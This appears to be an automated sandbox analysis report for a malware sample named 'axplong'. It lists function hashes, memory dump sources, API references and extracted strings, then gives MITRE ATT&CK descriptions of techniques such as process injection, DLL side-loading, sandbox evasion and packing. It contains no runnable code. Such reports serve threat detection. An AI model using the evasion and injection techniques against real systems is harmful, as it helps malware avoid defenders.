Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1031be439d47967e2718aee60b8896fb34fe0fc512a12e1f725f63e19f4451b9
Instruction ID: ca421bda8e7f04ab3daf27567864e5b9c10368f9e1e43f23477df13939351b60
Opcode Fuzzy Hash: 1031be439d47967e2718aee60b8896fb34fe0fc512a12e1f725f63e19f4451b9
Instruction Fuzzy Hash: DF51BF706083918FC319CF29851563BBBE1BFD5200F484A9EE1D687292D774DA48CBE2

Function 0093777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a750f8067d703067beb059887e9232a9782f555c84d5e381117c66e0003c6d20
Instruction ID: 0bae550d57824bc3e689f9788fe9ea6bf50d4cf9e1407f58984f6f7bf2858954
Opcode Fuzzy Hash: a750f8067d703067beb059887e9232a9782f555c84d5e381117c66e0003c6d20
Instruction Fuzzy Hash: 9D21B673F205394B770CC47E8C5727DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 052F040C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a5d5f2ebe321cf88bf09ae90904e3976b8d44e265081d06ddff5bf93f71b71
Instruction ID: 3f1ad5f3d71258bc1ec42bba88bf6e5dac8e0613492f0c164657d142a6773fe3
Opcode Fuzzy Hash: 92a5d5f2ebe321cf88bf09ae90904e3976b8d44e265081d06ddff5bf93f71b71
Instruction Fuzzy Hash: 92118C9B27D260ADE203D560369C4F6EFAAEDD3230330887BF143CA503E1C9494A5331

Function 0093765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e72bbe1a294ed262a39ba797f66cf825f66f5ac73f54dd9b630afb56048e0710
Instruction ID: defa0690e563b1bafea1ae9c41687605d8ef009b19830cfedf1d11d48157f024
Opcode Fuzzy Hash: e72bbe1a294ed262a39ba797f66cf825f66f5ac73f54dd9b630afb56048e0710
Instruction Fuzzy Hash: 0F11CA63F30C255B675C81BD8C1327AA1D2DBD824070F433AD826E7384E994DE23D390

Function 00938720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: af94e5ad77977dcc2ac3425a01e83fb5f07e6e13e5965d5055d5afc7f04e094b
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 7F11B6BB20034247D615862DD9F85B7A7DFEBC5321F3D437AF0538B658DA229945DD00

Function 0092645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95661f31a5af564bc1d91c35ab72bf714140fd122ae5aaac63d799c047b8aa6
Instruction ID: bbfe093037f0c41d1f094c7e03adf24489139f1ef6f9a4d486918ec9c8018ea4
Opcode Fuzzy Hash: a95661f31a5af564bc1d91c35ab72bf714140fd122ae5aaac63d799c047b8aa6
Instruction Fuzzy Hash: E7E08C30151A186FCE267B15EC5DA8D3B1AEF82390F004800FC4846632CBA5EC91C980

Function 0092A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: a888eabb4a3942a8cd03f378d37419527cc923d99ce02dc457ec351c7a2845d5
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 93E0B672919238EBCB15DB98AA44A8AF3ECEB89B50F554496B501D3256C270DF10CBD1

Function 00902E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

stoi argument out of range, xrefs: 00904269
8KG0fymoFx==, xrefs: 00902EC7
Fz==, xrefs: 0090369E
WGt=, xrefs: 009033BA
HBhr, xrefs: 0090378F
246122658369, xrefs: 009033D4
invalid stoi argument, xrefs: 0090425A

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
API String ID: 0-2390467879
Opcode ID: d0c37236050ee7f9ccceddb9833c6ce2d0e0ac285b2e28eb3a628b4bf6597891
Instruction ID: 8201a1eeac7b900e3840869b74746766f909629265d943d85bda951acb04645e
Opcode Fuzzy Hash: d0c37236050ee7f9ccceddb9833c6ce2d0e0ac285b2e28eb3a628b4bf6597891
Instruction Fuzzy Hash: 6F02C070E04249EFEF14DFA8C845BDEBBB9AF45314F508158E805A72C2D7759A84CFA2

Function 00924770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009247A7
___except_validate_context_record.LIBVCRUNTIME ref: 009247AF
_ValidateLocalCookies.LIBCMT ref: 00924838
__IsNonwritableInCurrentImage.LIBCMT ref: 00924863
_ValidateLocalCookies.LIBCMT ref: 009248B8

Strings

csm, xrefs: 0092484D

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8dca29e5df98f37217c019ad4fc4012b5e3624a73e979e998b236dac678a7323
Instruction ID: f012c30f257066a7528520624eb5319f60dad5a0257c32baa62a2532231da36a
Opcode Fuzzy Hash: 8dca29e5df98f37217c019ad4fc4012b5e3624a73e979e998b236dac678a7323
Instruction Fuzzy Hash: 4E51E734A21268ABCF10DF68EC85AAE7FB9BF46314F148055E8149B35AD731DE05CF90

Function 009270C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0092710B

Strings

.exe, xrefs: 00927118
.com, xrefs: 0092714B
.bat, xrefs: 0092713A
.cmd, xrefs: 00927129

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: b60adde084c9567386ace3570a6b8e4242d9648f733880382d355aa87bc56664
Instruction ID: 47a743f0bdb734152054afe01118f0441526826644303613eb34642170f4ec06
Opcode Fuzzy Hash: b60adde084c9567386ace3570a6b8e4242d9648f733880382d355aa87bc56664
Instruction Fuzzy Hash: 4B01DB3760C6362656186599BC02B3B979CAFC7BB8729002BF944F73C7EE44DC524190

Function 008F2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008F2F1F
__Mtx_unlock.LIBCPMT ref: 008F2F8C
__Cnd_broadcast.LIBCPMT ref: 008F2FA3
__Mtx_unlock.LIBCPMT ref: 008F30B5
__Mtx_unlock.LIBCPMT ref: 008F315B

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 21a350a3f35c9f98bcbda7a935874fd8c4d00baec0c3a17fafb18e8ff1a8146f
Instruction ID: 7e93902344701eadad237b9995b39bae533fdf900b1d8f7b2ed0a85764698957
Opcode Fuzzy Hash: 21a350a3f35c9f98bcbda7a935874fd8c4d00baec0c3a17fafb18e8ff1a8146f
Instruction Fuzzy Hash: 82A1E0B0A0170A9FDB21DF74C844BAAB7F8FF55314F14822AE915D7281EB31EA04CB91

Function 0092C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0092CA37

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 366af7cefd98687957400b87ee55d9c47e3829abc21eee9016022b0ee7c5b167
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: FDB17DB29002A59FDB11CF28D8417FEBBF9EF95340F14856AE885EB349D6389D41CB60

Function 0090BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0090BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BB14
_xtime_get.LIBCPMT ref: 0090BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BB43

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction ID: 4a46cba881295599b4d0d7becae79430385da980b66b39dcd3227be1449db55a
Opcode Fuzzy Hash: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction Fuzzy Hash: 582151B5A052099FDF10EFA4DC45ABEBBB8EF49710F000165FA01B72D1DB70AD019BA1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
